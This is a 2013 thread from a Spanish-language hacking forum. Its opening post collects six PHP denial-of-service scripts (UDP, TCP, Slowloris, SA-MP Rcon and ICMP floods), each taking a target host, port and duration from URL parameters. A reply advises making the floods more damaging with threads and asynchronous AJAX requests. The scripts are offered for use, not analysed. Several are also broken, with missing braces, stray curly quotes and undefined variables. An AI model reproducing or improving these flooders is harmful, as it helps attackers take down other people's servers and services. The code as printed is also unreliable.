Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Metodos de DoS con PHP

  • 1 Respuestas
  • 1409 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5455
  • Actividad:
    18.33%
  • Reputación 35
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« en: Agosto 25, 2013, 11:59:51 pm »
UDP:

Código: PHP
  1.  <?php
  2. //UDP
  3. if(isset($_GET['host'])&&isset($_GET['time'])){
  4.     $packets = 0;
  5.     ignore_user_abort(TRUE);
  6.     set_time_limit(0);
  7.  
  8.    $exec_time = $_GET['time'];
  9.  
  10.    $time = time();
  11.     $max_time = $time+$exec_time;
  12.  
  13.    $host = $_GET['host'];
  14.  
  15.    for($i=0;$i<65000;$i++){
  16.     $out .= 'X';
  17.     }
  18.     while(1){
  19.     $packets++;
  20.     if(time() > $max_time){
  21.     break;
  22.     }
  23.     $rand = rand(1,65000);
  24.     $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
  25.     if($fp){
  26.     fwrite($fp, $out);
  27.     fclose($fp);
  28.     }
  29. ?>

UDP Method 2

Código: PHP
  1.  <?php
  2.  
  3. $host = $_GET['host'];
  4. $exec_time = (int)$_GET['time'];
  5. $time = time();
  6. $max_time = $time + $exec_time;
  7.  
  8.       if(time() > $max_time)
  9.  
  10.       {
  11.  
  12.          break;
  13.  
  14.       }
  15.  
  16. while(1){
  17.  
  18. $dataOut = “x08x00x10x26x74x65x73x74“;
  19.  
  20.       if ($_GET['port'] == "rand")
  21.  
  22.       {
  23.  
  24.          $rand = rand(1,65535);
  25.  
  26.       }
  27.  
  28.       else
  29.  
  30.       {
  31.  
  32.          $rand = (int)filter($_GET['port']);
  33.  
  34.       }
  35.  
  36. $socket = socket_create(AF_INET, SOCK_DGRAM, UDP);
  37.  
  38.  
  39. socket_connect($socket, $host, $rand);
  40.  
  41. @socket_write($socket, $dataOut, strlen($dataOut));
  42.  
  43. socket_close($socket);}
  44.  
  45. echo "UDP flood complete after: {$exec_time} seconds";
  46. ?>

TCP

Código: PHP
  1.  <?php
  2.     //TCP
  3.     if(isset($_GET['host'])&&isset($_GET['time'])){
  4.         $packets = 0;
  5.         ignore_user_abort(TRUE);
  6.         set_time_limit(0);
  7.        
  8.         $exec_time = $_GET['time'];
  9.        
  10.         $time = time();
  11.         $max_time = $time+$exec_time;
  12.      
  13.         $host = $_GET['host'];
  14.         $port = $_GET['port'];
  15.        
  16.         for($i=0;$i<65000;$i++){
  17.                 $out .= 'X';
  18.         }
  19.         while(1){
  20.         $packets++;
  21.                 if(time() > $max_time){
  22.                         break;
  23.                 }              
  24.                 $fp = fsockopen('tcp://'.$host, $port, $errno, $errstr, 5);
  25.                 if($fp){
  26.                         fwrite($fp, $out);
  27.                         fclose($fp);
  28.                 }
  29.     ?>

Slowloris

Código: PHP
  1.  <?php
  2. $ip = $_GET['ip'];
  3.  
  4. $exec_time = $_GET['time'];
  5. $time = time();
  6. $max_time = $time+$exec_time;
  7.  
  8. while(1){
  9.   if(time() > $max_time){
  10.     break;
  11.   }
  12.  
  13.   $fp = fsockopen($ip, 80, $errno, $errstr, 140);
  14.   if (!$fp) {
  15.     echo "$errstr ($errno)<br />\n";
  16.   } else {
  17.     $out = "POST / HTTP/1.1\r\n";
  18.     $out .= "Host: $ip\r\n";
  19.     $out .= "User-Agent: Opera/9.21 (Windows NT 5.1; U; en)\r\n";
  20.     $out .= "Content-Length: 42\r\n\r\n";
  21.  
  22.     fwrite($fp, $out);
  23. }
  24. }
  25. echo "Slowloris flood complete after: $exec_time seconds\n";
  26. ?>

SA-MP Rcon Flood

Código: PHP
  1.  <?php
  2. if(isset($_GET['host'])&&isset($_GET['port'])&&isset($_GET['time'])){
  3.     $packets = 0;
  4.     $fakepass = "4azr46a";
  5.     $fakecmd = "exit";
  6.     $sPacket = "";  
  7.     ignore_user_abort(TRUE);
  8.     set_time_limit(0);
  9.    
  10.     $exec_time = $_GET['time'];    
  11.     $time = time();
  12.     $max_time = $time+$exec_time;
  13.     $host = $_GET['host'];    
  14.     $port = $_GET['port'];    
  15.    
  16.     $aIPAddr = explode('.', $host);
  17.     $sPacket .= "SAMP";
  18.  
  19.     $sPacket .= chr($aIPAddr[0]);
  20.     $sPacket .= chr($aIPAddr[1]);
  21.     $sPacket .= chr($aIPAddr[2]);
  22.     $sPacket .= chr($aIPAddr[3]);
  23.  
  24.     $sPacket .= chr($port & 0xFF);
  25.     $sPacket .= chr($port >> 8 & 0xFF);
  26.  
  27.     $sPacket .= 'x';
  28.    
  29.     $sPacket .= chr(strlen($fakepass) & 0xFF);
  30.     $sPacket .= chr(strlen($fakepass) >> 8 & 0xFF);
  31.     $sPacket .= $fakepass;
  32.     $sPacket .= chr(strlen($fakecmd) & 0xFF);
  33.     $sPacket .= chr(strlen($fakecmd) >> 8 & 0xFF);
  34.     $sPacket .= $fakecmd;
  35.    
  36.     while(1){
  37.     $packets++;
  38.             if(time() > $max_time){
  39.                     break;
  40.             }
  41.             //$rand = rand(1,65000);
  42.             $fp = fsockopen('udp://'.$host, $port, $errno, $errstr, 2);
  43.             fwrite($fp, $sPacket);
  44.             if($fp){
  45.                     fwrite($rSocket, $sPacket);
  46.                     fclose($fp);
  47.             }
  48. ?>

ICMP

Código: PHP
  1.  <?php
  2.  
  3. $host = $_GET['host'];
  4. $exec_time = $_GET['time'];
  5. $time = time();
  6. $max_time = $time + $exec_time;
  7.  
  8.       if(time() > $max_time)
  9.  
  10.       {
  11.  
  12.          break;
  13.  
  14.       }
  15.  
  16. while(1){
  17. // 08 (ECHO), 00 (No Code), 10 26 (Checksum), 74 65 73 74 (The data: “test”)
  18. $dataOut = “x08x00x10x26x74x65x73x74“;
  19.  
  20. // Raw socket, ICMP protocol
  21. $socket = socket_create(AF_INET, SOCK_RAW, 1);
  22.  
  23. // Non blocking as in the actual script it is many sockets to different machines
  24.  
  25. // Connect to local machine (or any machine)
  26. socket_connect($socket, $host, null);
  27.  
  28. // Send $dataOut
  29. @socket_write($socket, $dataOut, strlen($dataOut));
  30.  
  31. // Close socket
  32. socket_close($socket);}
  33.  
  34. echo "ICMP flood complete after: {$exec_time} seconds";
  35. ?>

El autor original de los codigos es: io.kent

Saludos!
ANTRAX


Desconectado WHK

  • *
  • Underc0der
  • Mensajes: 73
  • Actividad:
    1.67%
  • Reputación 4
    • Ver Perfil
« Respuesta #1 en: Agosto 30, 2013, 10:09:40 am »
Hola, se ven buenos pero todos son sincronicos, eso quiere decir que envia los paquetes uno por uno y eso no le hace daño a nadie, lo que si podría servir es hacer hilos de proceso con php ( http://php.net/manual/en/class.thread.php ), eso quiere decir enviar sus 100 paquetes simultaneos por segundo, eso si podría resultar.

Lo otro sería sin utilizar pecl utilizando ajax haciendo peticiones asincronicas, o sea hacer de 50 en 50 peticiones cada 1 segundo al archivo php pero puede correr el riesgo de que el servidor local colapse debido a que habrán demasiadas peticiones sin terminar, de alguna manera habría que controlar que se envien 50 conecciones y que cada ves que se desconecte una que lo vuelva a reconectar de manera automatica, eso si sería muy dañino y sin utilizar los famosos iframes que al final terminan consumiendo muchisima cpu.

También podrian hacerse ataques via ajax solicitando cabeceras de tipo json o xml debido a la politica de sitios cruzados de los navegadores, esta petición se abortará una ves terminada la solicitud asi que alcanzará de todas maneras a realizar el ataque sin problemas.

 

¿Te gustó el post? COMPARTILO!



[Sugerencia] Metodos de encriptacion de contraseñas

Iniciado por Only

Respuestas: 2
Vistas: 1150
Último mensaje Febrero 07, 2014, 12:45:05 pm
por alexander1712